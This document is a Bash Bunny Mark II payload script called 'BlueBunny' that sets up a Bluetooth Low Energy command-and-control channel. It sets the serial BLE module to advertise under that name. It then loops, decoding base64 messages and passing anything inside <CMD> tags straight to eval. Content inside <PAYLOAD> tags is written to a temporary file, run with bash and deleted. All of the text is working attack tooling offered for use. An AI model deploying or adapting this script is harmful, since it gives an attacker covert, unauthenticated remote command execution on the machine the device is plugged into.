payload.txt

#!/bin/bash
#
# Title:         BlueBunny
# Description:   BLE based C2 server for the Bash Bunny Mark II
# Author:        90N45
# Version:       1.0
# Category:      Remote
# Attackmodes:   NONE (Custom)

LED SETUP

# Enable serial BLE module
stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost
stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost
sleep 1

# Configure BLE module as slave
echo -n -e "AT+ROLE=0" > /dev/ttyS1
echo -n -e "AT+NAME=BlueBunny" > /dev/ttyS1
echo -n -e "AT+ADV=1" > /dev/ttyS1
echo -n -e "AT+RESET" > /dev/ttyS1

LED FINISH

while [[ true ]]; do
	# Get incomming data from serial port
	data=$(head -1 /dev/ttyS1)

	# Decode base64 encoded data
	data=$(echo ${data} | base64 -d)

	# Echo data for debugging
	echo "Debugger: ${data}"

	# Single command
	if [[ $data =~ "<CMD>" ]]; then
		# Extract command
		command=${data#*<CMD>}
		command=${command%%<CMD>*}

		# Run recieved command
		eval "${command}"
	fi

	# Payload file
	if [[ $data =~ "<PAYLOAD>" ]]; then
		# Set payload file name
		file="BlueBunnyPayload-${RANDOM}.txt"

		# Extract file content
		content=${data#*<PAYLOAD>}
		content=${content%%<PAYLOAD>*}

		# Write content to file
		printf "${content}" > "${file}";

		# Run payload
		bash $file

		# Remove payload file
		rm $file
	fi
done